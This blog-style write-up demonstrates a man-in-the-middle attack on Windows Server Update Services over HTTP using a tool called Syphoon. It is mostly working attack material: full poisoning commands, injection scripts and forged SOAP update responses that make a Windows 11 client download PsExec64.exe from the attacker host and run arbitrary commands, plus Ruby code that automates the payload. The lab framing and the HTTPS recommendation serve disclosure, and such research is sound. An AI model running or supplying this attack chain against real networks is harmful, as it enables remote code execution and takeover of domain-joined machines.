Reliably attacking WSUS with socket injection

Introduction

In this article we cover the exploitation of WSUS when used over unsecured HTTP.

Specifically, we use socket injection to achieve remote command execution on WSUS clients.

For this, we will make use of Syphoon‘s advanced socket injection features to both analyze and attack communications.

Background

Windows Server Update Services or WSUS for short is Microsoft’s solution for managing updates across multiple systems.

A more detailed introduction to WSUS is available from Microsoft but in short, this makes it particularly easy to manage Windows updates and the systems to which they are distributed.

Technically, the update system on any client machine performs basic SOAP HTTP calls to the WSUS server. These SOAP XML envelopes basically describe the update request from the client to the server (“Are there any updates for me? Here’s my configuration as well as a list of installed packages: …”).

The issue

Surprisingly however, this system allows configuring the server and clients to communicate over clear-text HTTP (no authentication or encryption) instead of HTTPS.

This obviously exposes the communication to Man-In-The-Middle attacks, and others have been quick to point it out for some time now. Regardless, we continue to regularly encounter WSUS being used over HTTP within customer infrastructures (big and small). The justification most often cited is probably the apparent difficulty of maintaining a PKI for this. While HTTPS will certainly require additional effort to manage the certificate chain, this is usually already covered at other levels (domain / internal applications).

It’s quite easy to imagine that if the description of updates can be tampered with, what’s stopping us from simply adding any malicious binary to the list of updates to be applied by a client?

Well, although the communication is indeed clear-text, any binary installed as part of an update must be “trusted”, as in signed by Microsoft. This means that our malicious payload has zero chance to be accepted as an update, and theoretically ensures only legitimate packages can be installed. Does this mean nothing can be exploited from WSUS when configured using HTTP? Not exactly…

Let’s dig in

To explore all of this, let’s start by setting up a small lab environment consisting of a Windows Server, Windows 11 client and a Linux attack VM.

The setup

  • WSUS Server: 192.168.100.245
  • Win11 Client:  192.168.100.228
  • Attack VM:      192.168.100.176

The server will be hosting an Active Directory Domain Controller with the WSUS role enabled. The client is joined into the domain and configured to pull updates from the server using HTTP. The attack VM is just an Ubuntu Linux system loaded with Syphoon.

Let’s have a look a the exchanges performed during a typical session. For this we need to instruct Syphoon to impersonate the WSUS server (-I 192.168.100.245) and poison the client (-P 192.168.100.228) with clear socket smashing enabled (-s argument) on port 8530 (WSUS default) and verbosity set to 5 (-vvvvv). We also need to configure at least one injection (even if invalid) to actually get the socket contents to be logged, which we do with -i 8530 inplace ” 0 ”.

Here’s the full command on our attack VM:

 $ sudo ./syphoon -vvvvv -s 8530 -i 8530 inplace '' 0 '' -I 192.168.100.245 -P 192.168.100.228 enp1s0

Now while the client is being poisoned, we can ask it to fetch updates and see what happens.

Upon doing this, we can see the exchanges between the client and the WSUS server.

These exchanges consist of SOAP calls made to an HTTP service on port 8530.

The structure of the envelope is fairly straightforward and the number of SOAP Actions limited. In the screenshot below we see one of the most important of these: SyncUpdates, which basically queries the WSUS server for new updates.

However, we quickly identify an issue: the “accept-encoding” header is set by the client to “xpress”.

Because of this, the server’s responses are compressed and not directly readable, making our job much more difficult.

Clean sniffing

Let’s use a simple injection to strip this “accept-encoding” header and ensure XML envelopes are sent uncompressed.

This should allow us to manipulate the envelopes more easily:

 $ sudo ./syphoon -vvvvv -s 8530 -i 8530 inplace 'Accept-Encoding: (xpress)' 0 'none' -I 192.168.100.245 -P 192.168.100.228 enp1s0

Indeed, the responses are now directly readable, and thus can be manipulated using regular expressions and simple injections.

Level 1 – SyncUpdates

In the capture below, we can now see in clear text the response to SyncUpdates:

In fact, let’s take that envelope and copy it into an XML viewer. This should give us a better idea of what’s going on:

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <SyncUpdatesResponse xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <SyncUpdatesResult>
        <Truncated>false</Truncated>
        <NewCookie>
          <Expiration>2023-05-09T15:47:36Z</Expiration>
          <EncryptedData>[...]</EncryptedData>
        </NewCookie>
        <DriverSyncNotNeeded>true</DriverSyncNotNeeded>
      </SyncUpdatesResult>
    </SyncUpdatesResponse>
  </s:Body>
</s:Envelope>

Whenever one or more updates are available, an additional <NewUpdates> block appears in the response.

Each update is then represented by an <UpdateInfo> element within that <NewUpdates> block:

<SyncUpdatesResult>
  <NewUpdates>
    <UpdateInfo>
      <ID>XXXXXX</ID>
      <Deployment>
        <ID>YYYYYY</ID>
        <Action>Install</Action>
        <IsAssigned>true</IsAssigned>
        <LastChangeTime>2023-05-10</LastChangeTime>
        <AutoSelect>0</AutoSelect>
        <AutoDownload>0</AutoDownload>
        <SupersedenceBehavior>0</SupersedenceBehavior>
      </Deployment>
      <IsLeaf>true</IsLeaf>
      <Xml>ZZZZZZZZ</Xml>
    </UpdateInfo>
  </NewUpdates>
</SyncUpdatesResult>

The <xml> block describes what the update consists of.

As the name implies, it is a chunk of XML (HTML-encoded two times), and takes the following form (decoded):

<UpdateIdentity UpdateID="UPDATE_GUID" RevisionNumber="204" />
<Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" />
<Relationships>
  <Prerequisites>
    <AtLeastOne IsCategory="true">
      <UpdateIdentity UpdateID="PREREQUISITE_CATEGORY_GUID" />
    </AtLeastOne>
  </Prerequisites>
  <BundledUpdates>
    <UpdateIdentity UpdateID="BUNDLED_UPDATE_GUID" RevisionNumber="204" />
  </BundledUpdates>
</Relationships>

This all looks fairly straightforward. It appears we can generate some random GUIDs for our update and use an existing update category GUID to associate it with.

Let’s try to do just this – we can construct an injection to replace the SyncUpdates response with one containing a fraudulent “update”.

Specifically, we need a regular expression to match the SyncUpdates response, with a capture group set around the entire XML envelope. Since we’ll be replacing the envelope with our own, we also need to update the content-length. From the responses above, we see that the server sets the content-length as the last header before the body. This means we don’t even need to do a separate injection for this, we can combine everything into a single one:

-i 8530 inplace 'Content-Length: ([0-9]*.*<s:Envelope .*<SyncUpdatesResponse.*</s:Envelope>)' 0 \
"2362

 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
   <s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
     <SyncUpdatesResponse xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
       <SyncUpdatesResult>
         <NewUpdates>
           <UpdateInfo>
             <ID>998899</ID>
             <Deployment>
               <ID>98989</ID>
               <Action>Install</Action>
               <IsAssigned>true</IsAssigned>
               <LastChangeTime>2023-05-09</LastChangeTime>
               <AutoSelect>0</AutoSelect>
               <AutoDownload>0</AutoDownload>
               <SupersedenceBehavior>0</SupersedenceBehavior>
             </Deployment>
             <IsLeaf>true</IsLeaf>
             <Xml>
&lt;UpdateIdentity UpdateID="d03aea01-766f-409f-bd17-45ad10a06355" RevisionNumber="204" /&gt;
&lt;Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" /&gt;
&lt;Relationships&gt;
  &lt;Prerequisites&gt;
    &lt;AtLeastOne IsCategory="true"&gt;
      &lt;UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" /&gt;
    &lt;/AtLeastOne&gt;
  &lt;/Prerequisites&gt;
  &lt;BundledUpdates&gt;
    &lt;UpdateIdentity UpdateID="eb586a2a-d749-4bf9-863b-6b36af10db05" RevisionNumber="204" /&gt;
  &lt;/BundledUpdates&gt;
&lt;/Relationships&gt;
             </Xml>
           </UpdateInfo>
           <UpdateInfo>
             <ID>997899</ID>
             <Deployment>
               <ID>97989</ID>
               <Action>Bundle</Action>
               <IsAssigned>true</IsAssigned>
               <LastChangeTime>2023-05-09</LastChangeTime>
               <AutoSelect>0</AutoSelect>
               <AutoDownload>0</AutoDownload>
               <SupersedenceBehavior>0</SupersedenceBehavior>
             </Deployment>
             <IsLeaf>true</IsLeaf>
             <Xml>
&lt;UpdateIdentity UpdateID="eb586a2a-d749-4bf9-863b-6b36af10db05" RevisionNumber="204" /&gt;
&lt;Properties UpdateType="Software" /&gt;
&lt;Relationships&gt;&lt;/Relationships&gt;
&lt;ApplicabilityRules&gt;
  &lt;IsInstalled&gt;
    &lt;False /&gt;
  &lt;/IsInstalled&gt;
  &lt;IsInstallable&gt;
    &lt;True/&gt;
  &lt;/IsInstallable&gt;
&lt;/ApplicabilityRules&gt;
             </Xml>
           </UpdateInfo>
         </NewUpdates>
         <Truncated>false</Truncated>
         <NewCookie>
           <Expiration>2023-05-10T13:18:14.9843346Z</Expiration>
           <EncryptedData>
rFcuIyjbTiKvxS7o92U3Gvno3ZcbW5jAVzJTsd0iovC65AO2k2fqWV4/bj2ndXiU4PO77IYUsCRUkN9A9KTkrWrFA9DFOJZS
a4SBXi8hLdzU6v+HbwPsYiu+8uFf+c0oI4Z3kWK2Lz0dr7HRwhYrPrDLW2gEWtwJm8KpHSdGajHKGl0baODzWIKeSOjRRlrH
AHUW1z6ikgR/hWIPqXUz/wC2peChe4Ouawmm3BCfKpHTw1bRo/kq5WVtGUNF0esypMdxRh7kNxk+oXflZhQaQ1Vqo9bcCJaM
ojIJ8pVCa1o=
           </EncryptedData>
         </NewCookie>
         <DriverSyncNotNeeded>false</DriverSyncNotNeeded>
       </SyncUpdatesResult>
     </SyncUpdatesResponse>
   </s:Body>
 </s:Envelope>'

Ok, that was quite large. The lines were wrapped for readability.

The injection above produces the entire XML envelope to represent our fraudulent update, prefixed by its size in bytes (to complete the content-length header).

When compacted, the XML above comes down to 2362 bytes. Adding this to our Syphoon command starts getting a little impractical, so let’s turn it into a script instead.

Let’s create a new script in “data/scripts/wupwn“:

# Smash sockets on TCP 8530 (WSUS)
csmash 8530

# Strip 'xpress' Content-Encoding
inject 8530 inplace 'Accept-Encoding: (xpress)' 0 'none'

# Replace SyncUpdates Response
inject 8530 inplace 'Content-Length: ([0-9]*.*<s:Envelope .*<SyncUpdatesResponse.*</s:Envelope>)' 0 '2362\r\n\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SyncUpdatesResponse xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"><SyncUpdatesResult><NewUpdates><UpdateInfo><ID>998899</ID><Deployment><ID>98989</ID><Action>Install</Action><IsAssigned>true</IsAssigned><LastChangeTime>2023-05-09</LastChangeTime><AutoSelect>0</AutoSelect><AutoDownload>0</AutoDownload><SupersedenceBehavior>0</SupersedenceBehavior></Deployment><IsLeaf>true</IsLeaf><Xml>&lt;UpdateIdentity UpdateID="d03aea01-766f-409f-bd17-45ad10a06355" RevisionNumber="204" /&gt;&lt;Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" /&gt;&lt;Relationships&gt;&lt;Prerequisites&gt;&lt;AtLeastOne IsCategory="true"&gt;&lt;UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" /&gt;&lt;/AtLeastOne&gt;&lt;/Prerequisites&gt;&lt;BundledUpdates&gt;&lt;UpdateIdentity UpdateID="eb586a2a-d749-4bf9-863b-6b36af10db05" RevisionNumber="204" /&gt;&lt;/BundledUpdates&gt;&lt;/Relationships&gt;</Xml></UpdateInfo><UpdateInfo><ID>997899</ID><Deployment><ID>97989</ID><Action>Bundle</Action><IsAssigned>true</IsAssigned><LastChangeTime>2023-05-09</LastChangeTime><AutoSelect>0</AutoSelect><AutoDownload>0</AutoDownload><SupersedenceBehavior>0</SupersedenceBehavior></Deployment><IsLeaf>true</IsLeaf><Xml>&lt;UpdateIdentity UpdateID="eb586a2a-d749-4bf9-863b-6b36af10db05" RevisionNumber="204" /&gt;&lt;Properties UpdateType="Software" /&gt;&lt;Relationships&gt;&lt;/Relationships&gt;&lt;ApplicabilityRules&gt;&lt;IsInstalled&gt;&lt;False /&gt;&lt;/IsInstalled&gt;&lt;IsInstallable&gt;&lt;True/&gt;&lt;/IsInstallable&gt;&lt;/ApplicabilityRules&gt;</Xml></UpdateInfo></NewUpdates><Truncated>false</Truncated><NewCookie><Expiration>2023-05-10T13:18:14.9843346Z</Expiration><EncryptedData> rFcuIyjbTiKvxS7o92U3Gvno3ZcbW5jAVzJTsd0iovC65AO2k2fqWV4/bj2ndXiU4PO77IYUsCRUkN9A9KTkrWrFA9DFOJZSa4SBXi8hLdzU6v+HbwPsYiu+8uFf+c0oI4Z3kWK2Lz0dr7HRwhYrPrDLW2gEWtwJm8KpHSdGajHKGl0baODzWIKeSOjRRlrHAHUW1z6ikgR/hWIPqXUz/wC2peChe4Ouawmm3BCfKpHTw1bRo/kq5WVtGUNF0esypMdxRh7kNxk+oXflZhQaQ1Vqo9bcCJaMojIJ8pVCa1o=</EncryptedData></NewCookie><DriverSyncNotNeeded>false</DriverSyncNotNeeded></SyncUpdatesResult></SyncUpdatesResponse></s:Body></s:Envelope>'

With this script defined, we can simplify our command. Let’s run it and see what happens:

 $ sudo ./syphoon -vvvvv -a wupwn -I 192.168.100.245 -P 192.168.100.228 enp1s0

When we hit “Check for updates” on the Win11 client, we see a lot more data go through.

First, we see our new injection replace the SyncUpdates response:

This causes the Windows Update client to then issue a call we have not seen before: GetExtendedUpdateInfo.

Having received an update ID in the SyncUpdates response, the client attempts to obtain details for this update from the server using this new GetExtendedUpdateInfo SOAP action.

Remember however that the update ID provided was crafted by us and does not relate to any existing “real” update.

The server will therefore respond with an HTTP 500 error, indicating that the parameters for GetExtendedUpdateInfo were invalid:

This in turn results in a visual error message from the Windows Update client.

Excellent! This strongly suggests we’ve successfully convinced the Windows Update client that some fraudulent updates are to be applied.

We can now move on to the next level and attempt to address the GetExtendedUpdateInfo call.

Level 2 – GetExtendedUpdateInfo

From what we’ve seen previously, the server responds with a basic error when the client asks it for our “updates” (which don’t actually exist).

How about we push the previous exercise even further and now replace the entire HTTP response with our own?

Let’s first have a look at what our GetExtendedUpdateInfo response XML should look like (re-using the update IDs from the previous steps):

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <GetExtendedUpdateInfoResponse xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <GetExtendedUpdateInfoResult>
        <Updates>
          <Update>
            <ID>997899</ID>
            <Xml>
&lt;ExtendedProperties DefaultPropertiesLanguage="en"
 Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"
 MaxDownloadSize="833472" MinDownloadSize="833472"&gt;
  &lt;InstallationBehavior RebootBehavior="NeverReboots" /&gt;
&lt;/ExtendedProperties&gt;
&lt;Files&gt;
  &lt;File Digest="AJjHnhQEtDmb8OaG2I2/BSJpowI=" DigestAlgorithm="SHA1" FileName="PsExec64.exe" Size="833472" Modified="2010-11-25T15:26:20.723"&gt;
    &lt;AdditionalDigest Algorithm="SHA256"&gt;7frhppUi+HsSxtrDIl2TDkhIgy48VR7h59MXNr9FJe8=&lt;/AdditionalDigest&gt;
  &lt;/File&gt;
&lt;/Files&gt;
&lt;HandlerSpecificData type="cmd:CommandLineInstallation"&gt;
  &lt;InstallCommand Arguments="/accepteula /s cmd.exe /c &amp;quot;whoami &amp;gt; C:/pwn.txt&amp;quot;"
   Program="PsExec64.exe" RebootByDefault="false" DefaultResult="Succeeded"&gt;
    &lt;ReturnCode Reboot="false" Result="Succeeded" Code="-1" /&gt;
  &lt;/InstallCommand&gt;
&lt;/HandlerSpecificData&gt;
            </Xml>
          </Update>
          <Update>
            <ID>998899</ID>
            <Xml>
&lt;ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important" IsBeta="false"&gt;
  &lt;SupportUrl&gt;https://ringtail.ch&lt;/SupportUrl&gt;
  &lt;SecurityBulletinID&gt;MS42-123&lt;/SecurityBulletinID&gt;
  &lt;KBArticleID&gt;2862335&lt;/KBArticleID&gt;
&lt;/ExtendedProperties&gt;
            </Xml>
          </Update>
          <Update>
            <ID>998899</ID>
            <Xml>
&lt;LocalizedProperties&gt;
  &lt;Language&gt;en&lt;/Language&gt;
  &lt;Title&gt;Syphoon WSUS pwnage&lt;/Title&gt;
  &lt;Description&gt;Booya&lt;/Description&gt;
  &lt;UninstallNotes&gt;Meh&lt;/UninstallNotes&gt;
  &lt;MoreInfoUrl&gt;https://ringtail.ch&lt;/MoreInfoUrl&gt;
  &lt;SupportUrl&gt;https://ringtail.ch&lt;/SupportUrl&gt;
&lt;/LocalizedProperties&gt;
            </Xml>
          </Update>
          <Update>
            <ID>997899</ID>
            <Xml>
&lt;LocalizedProperties&gt;
  &lt;Language&gt;en&lt;/Language&gt;
  &lt;Title&gt;Syphoon update&lt;/Title&gt;
&lt;/LocalizedProperties&gt;
            </Xml>
          </Update>
        </Updates>
        <FileLocations>
          <FileLocation>
            <FileDigest>AJjHnhQEtDmb8OaG2I2/BSJpowI=</FileDigest>
            <Url>http://192.168.100.176:1080/PsExec64.exe</Url>
          </FileLocation>
        </FileLocations>
      </GetExtendedUpdateInfoResult>
    </GetExtendedUpdateInfoResponse>
  </s:Body>
</s:Envelope>

This should be pretty self-explanatory – note the URL at the end; this points to the embedded HTTP file server in Syphoon (HTFileSrv), where we should host a PsExec64.exe binary.

Basically, the update instructs the client to obtain a copy of PsExec64.exe (which is allowed by Microsoft), and then specifies some install parameters in the form of command-line arguments to the executable. Those arguments in turn instruct PsExec to spawn a command prompt (cmd.exe) with some commands given using the “/c” switch.

Again, we need to compact this XML into a denser form, resulting in 2482 bytes.
We’ll need to wrap this in a correct HTTP 200 response to make it accepted by the client:

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 2482

<s:Envelope ...

Let’s extend the script we prepared in the previous steps (wupwn) to include this new injection:

# Smash sockets on TCP 8530 (WSUS)
csmash 8530

# Enable HTFileSrv
htfilesrv
# Strip 'xpress' Content-Encoding
inject 8530 inplace 'Accept-Encoding: (xpress)' 0 'none'

# Replace SyncUpdates Response
inject 8530 inplace 'Content-Length: ([0-9]*.*<s:Envelope .*<SyncUpdatesResponse.*</s:Envelope>)' 0 '2362\r\n\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SyncUpdatesResponse xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"><SyncUpdatesResult><NewUpdates><UpdateInfo><ID>998899</ID><Deployment><ID>98989</ID><Action>Install</Action><IsAssigned>true</IsAssigned><LastChangeTime>2023-05-09</LastChangeTime><AutoSelect>0</AutoSelect><AutoDownload>0</AutoDownload><SupersedenceBehavior>0</SupersedenceBehavior></Deployment><IsLeaf>true</IsLeaf><Xml>&lt;UpdateIdentity UpdateID="d03aea01-766f-409f-bd17-45ad10a06355" RevisionNumber="204" /&gt;&lt;Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" /&gt;&lt;Relationships&gt;&lt;Prerequisites&gt;&lt;AtLeastOne IsCategory="true"&gt;&lt;UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" /&gt;&lt;/AtLeastOne&gt;&lt;/Prerequisites&gt;&lt;BundledUpdates&gt;&lt;UpdateIdentity UpdateID="eb586a2a-d749-4bf9-863b-6b36af10db05" RevisionNumber="204" /&gt;&lt;/BundledUpdates&gt;&lt;/Relationships&gt;</Xml></UpdateInfo><UpdateInfo><ID>997899</ID><Deployment><ID>97989</ID><Action>Bundle</Action><IsAssigned>true</IsAssigned><LastChangeTime>2023-05-09</LastChangeTime><AutoSelect>0</AutoSelect><AutoDownload>0</AutoDownload><SupersedenceBehavior>0</SupersedenceBehavior></Deployment><IsLeaf>true</IsLeaf><Xml>&lt;UpdateIdentity UpdateID="eb586a2a-d749-4bf9-863b-6b36af10db05" RevisionNumber="204" /&gt;&lt;Properties UpdateType="Software" /&gt;&lt;Relationships&gt;&lt;/Relationships&gt;&lt;ApplicabilityRules&gt;&lt;IsInstalled&gt;&lt;False /&gt;&lt;/IsInstalled&gt;&lt;IsInstallable&gt;&lt;True/&gt;&lt;/IsInstallable&gt;&lt;/ApplicabilityRules&gt;</Xml></UpdateInfo></NewUpdates><Truncated>false</Truncated><NewCookie><Expiration>2023-05-10T13:18:14.9843346Z</Expiration><EncryptedData> rFcuIyjbTiKvxS7o92U3Gvno3ZcbW5jAVzJTsd0iovC65AO2k2fqWV4/bj2ndXiU4PO77IYUsCRUkN9A9KTkrWrFA9DFOJZSa4SBXi8hLdzU6v+HbwPsYiu+8uFf+c0oI4Z3kWK2Lz0dr7HRwhYrPrDLW2gEWtwJm8KpHSdGajHKGl0baODzWIKeSOjRRlrHAHUW1z6ikgR/hWIPqXUz/wC2peChe4Ouawmm3BCfKpHTw1bRo/kq5WVtGUNF0esypMdxRh7kNxk+oXflZhQaQ1Vqo9bcCJaMojIJ8pVCa1o=</EncryptedData></NewCookie><DriverSyncNotNeeded>false</DriverSyncNotNeeded></SyncUpdatesResult></SyncUpdatesResponse></s:Body></s:Envelope>'

# Replace GetExtendedUpdateInfo Response
inject 8530 inplace '(HTTP/1.1 500 .*<s:Envelope .*<Method>"[^"]*GetExtendedUpdateInfo".*</s:Envelope>)' 0 'HTTP/1.1 200 OK\r\nContent-Type: text/xml; charset=utf-8\r\nContent-Length: 2482\r\n\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><GetExtendedUpdateInfoResponse xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"><GetExtendedUpdateInfoResult><Updates><Update><ID>997899</ID><Xml> &lt;ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation" MaxDownloadSize="833472" MinDownloadSize="833472"&gt; &lt;InstallationBehavior RebootBehavior="NeverReboots" /&gt; &lt;/ExtendedProperties&gt; &lt;Files&gt; &lt;File Digest="AJjHnhQEtDmb8OaG2I2/BSJpowI=" DigestAlgorithm="SHA1" FileName="PsExec64.exe" Size="833472" Modified="2010-11-25T15:26:20.723"&gt; &lt;AdditionalDigest Algorithm="SHA256"&gt;7frhppUi+HsSxtrDIl2TDkhIgy48VR7h59MXNr9FJe8=&lt;/AdditionalDigest&gt; &lt;/File&gt; &lt;/Files&gt; &lt;HandlerSpecificData type="cmd:CommandLineInstallation"&gt; &lt;InstallCommand Arguments="/accepteula /s cmd.exe /c &amp;quot;whoami &amp;gt; C:/pwn.txt&amp;quot;" Program="PsExec64.exe" RebootByDefault="false" DefaultResult="Succeeded"&gt; &lt;ReturnCode Reboot="false" Result="Succeeded" Code="-1" /&gt; &lt;/InstallCommand&gt; &lt;/HandlerSpecificData&gt; </Xml></Update><Update><ID>998899</ID><Xml> &lt;ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important" IsBeta="false"&gt; &lt;SupportUrl&gt;https://ringtail.ch&lt;/SupportUrl&gt; &lt;SecurityBulletinID&gt;MS42-123&lt;/SecurityBulletinID&gt; &lt;KBArticleID&gt;2862335&lt;/KBArticleID&gt; &lt;/ExtendedProperties&gt; </Xml></Update><Update><ID>998899</ID><Xml> &lt;LocalizedProperties&gt; &lt;Language&gt;en&lt;/Language&gt; &lt;Title&gt;Syphoon WSUS pwnage&lt;/Title&gt; &lt;Description&gt;Booya&lt;/Description&gt; &lt;UninstallNotes&gt;Meh&lt;/UninstallNotes&gt; &lt;MoreInfoUrl&gt;https://ringtail.ch&lt;/MoreInfoUrl&gt; &lt;SupportUrl&gt;https://ringtail.ch&lt;/SupportUrl&gt; &lt;/LocalizedProperties&gt; </Xml></Update><Update><ID>997899</ID><Xml> &lt;LocalizedProperties&gt; &lt;Language&gt;en&lt;/Language&gt; &lt;Title&gt;Syphoon update&lt;/Title&gt; &lt;/LocalizedProperties&gt; </Xml></Update></Updates><FileLocations><FileLocation><FileDigest>AJjHnhQEtDmb8OaG2I2/BSJpowI=</FileDigest><Url>http://192.168.100.176:1080/PsExec64.exe</Url></FileLocation></FileLocations></GetExtendedUpdateInfoResult></GetExtendedUpdateInfoResponse></s:Body></s:Envelope>'

With this, we can re-run Syphoon and hit the “Check for updates” button on the Win11 client.

Again, we see the HTTP 500 error as a result of the call to GetExtendedUpdateInfo.

Except this time, our injection replaces this with a valid response instructing the client to install PsExec64.exe with our “arguments”:

Sure enough, the Windows Update client displays something very promising:

It appears our update was accepted and is being installed.

Indeed, we can see in the Syphoon log that the HTFileSrv was queried by the client machine and served up the PsExec64.exe binary:

This all happens in under 2 seconds, after which point the Windows Update client considers its job completed.

However, if go look in the client machine’s C: drive, we find a little surprise:

Level 3 – Automation and reusability

Up until this point we manually crafted every bit of XML with specific preset values.

Syphoon’s injection system has recently been upgraded to allow dynamic injections, where a block of Ruby code can be used to generate the injection contents on the fly.

This means we can rewrite our injection script to handle arguments, generate random IDs on each run and vary the payload command according to the arguments.

In fact, this is exactly what the new scripts (wsus-inject-cmd and wsus-inject-bat) recently added into Syphoon provide. Let’s see how they achieve this by looking at just one example: the SyncUpdates response.

First, some code needs to be added to the SRB init (Syphoon Ruby Init) to generate some random IDs and store those inside temporary files:

# Setup Random IDs for WSUS-Inject
`mkdir -p #{$sroot}/tmp`
File.write "#{$sroot}/tmp/wupwn.id1", (900000 + rand * 100000).to_i
File.write "#{$sroot}/tmp/wupwn.id2", (900000 + rand * 100000).to_i
File.write "#{$sroot}/tmp/wupwn.did1", (90000 + rand * 10000).to_i
File.write "#{$sroot}/tmp/wupwn.did2", (90000 + rand * 10000).to_i
File.write "#{$sroot}/tmp/wupwn.guid1", `uuidgen`.chomp
File.write "#{$sroot}/tmp/wupwn.guid2", `uuidgen`.chomp

Then, the Ruby code below uses the IDs created above to generate a more flexible SyncUpdates response:

guid1 = File.read "#{$sroot}/tmp/wupwn.guid1"
guid2 = File.read "#{$sroot}/tmp/wupwn.guid2"
id1 = File.read "#{$sroot}/tmp/wupwn.id1"
id2 = File.read "#{$sroot}/tmp/wupwn.id2"
depid1 = File.read "#{$sroot}/tmp/wupwn.did1"
depid2 = File.read "#{$sroot}/tmp/wupwn.did2"
payload = "
  <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">
    <s:Body xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">
      <SyncUpdatesResponse xmlns=\"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService\">
        <SyncUpdatesResult>
          <NewUpdates>
            <UpdateInfo>
              <ID>#{id1}</ID>
              <Deployment>
                <ID>#{depid1}</ID>
                <Action>Install</Action>
                <IsAssigned>true</IsAssigned>
                <LastChangeTime>2023-05-09</LastChangeTime>
                <AutoSelect>0</AutoSelect>
                <AutoDownload>0</AutoDownload>
                <SupersedenceBehavior>0</SupersedenceBehavior>
              </Deployment>
              <IsLeaf>true</IsLeaf>
              <Xml>
  &lt;UpdateIdentity UpdateID=\"#{guid1}\" RevisionNumber=\"204\" /&gt;
  &lt;Properties UpdateType=\"Software\" ExplicitlyDeployable=\"true\" AutoSelectOnWebSites=\"true\" /&gt;
  &lt;Relationships&gt;
  &lt;Prerequisites&gt;
  &lt;AtLeastOne IsCategory=\"true\"&gt;
  &lt;UpdateIdentity UpdateID=\"0fa1201d-4330-4fa8-8ae9-b877473b6441\" /&gt;
  &lt;/AtLeastOne&gt;
  &lt;/Prerequisites&gt;
  &lt;BundledUpdates&gt;
  &lt;UpdateIdentity UpdateID=\"#{guid2}\" RevisionNumber=\"204\" /&gt;
  &lt;/BundledUpdates&gt;
  &lt;/Relationships&gt;
              </Xml>
            </UpdateInfo>
            <UpdateInfo>
              <ID>#{id2}</ID>
              <Deployment>
                <ID>#{depid2}</ID>
                <Action>Bundle</Action>
                <IsAssigned>true</IsAssigned>
                <LastChangeTime>2023-05-09</LastChangeTime>
                <AutoSelect>0</AutoSelect>
                <AutoDownload>0</AutoDownload>
                <SupersedenceBehavior>0</SupersedenceBehavior>
              </Deployment>
              <IsLeaf>true</IsLeaf>
              <Xml>
  &lt;UpdateIdentity UpdateID=\"#{guid2}\" RevisionNumber=\"204\" /&gt;
  &lt;Properties UpdateType=\"Software\" /&gt;
  &lt;Relationships&gt;
  &lt;/Relationships&gt;
  &lt;ApplicabilityRules&gt;
    &lt;IsInstalled&gt;&lt;False /&gt;&lt;/IsInstalled&gt;
    &lt;IsInstallable&gt;&lt;True/&gt;&lt;/IsInstallable&gt;
  &lt;/ApplicabilityRules&gt;
              </Xml>
            </UpdateInfo>
          </NewUpdates>
          <Truncated>false</Truncated>
          <NewCookie>
            <Expiration>2023-05-10T13:18:14.9843346Z</Expiration>
            <EncryptedData>
rFcuIyjbTiKvxS7o92U3Gvno3ZcbW5jAVzJTsd0iovC65AO2k2fqWV4/bj2ndXiU4PO77IYUsCRUkN9A9KTkrWrFA9DFOJZSa4SBXi8hLdzU6v+HbwPsYiu+8uFf+c0o
I4Z3kWK2Lz0dr7HRwhYrPrDLW2gEWtwJm8KpHSdGajHKGl0baODzWIKeSOjRRlrHAHUW1z6ikgR/hWIPqXUz/wC2peChe4Ouawmm3BCfKpHTw1bRo/kq5WVtGUNF0esy
pMdxRh7kNxk+oXflZhQaQ1Vqo9bcCJaMojIJ8pVCa1o=
            </EncryptedData>
          </NewCookie>
          <DriverSyncNotNeeded>false</DriverSyncNotNeeded>
        </SyncUpdatesResult>
      </SyncUpdatesResponse>
    </s:Body>
  </s:Envelope>"

"#{payload.size}\r\n\r\n#{payload}"

What’s next?

In the coming weeks we’ll try to look into SCCM and whether similar attacks could be possible.

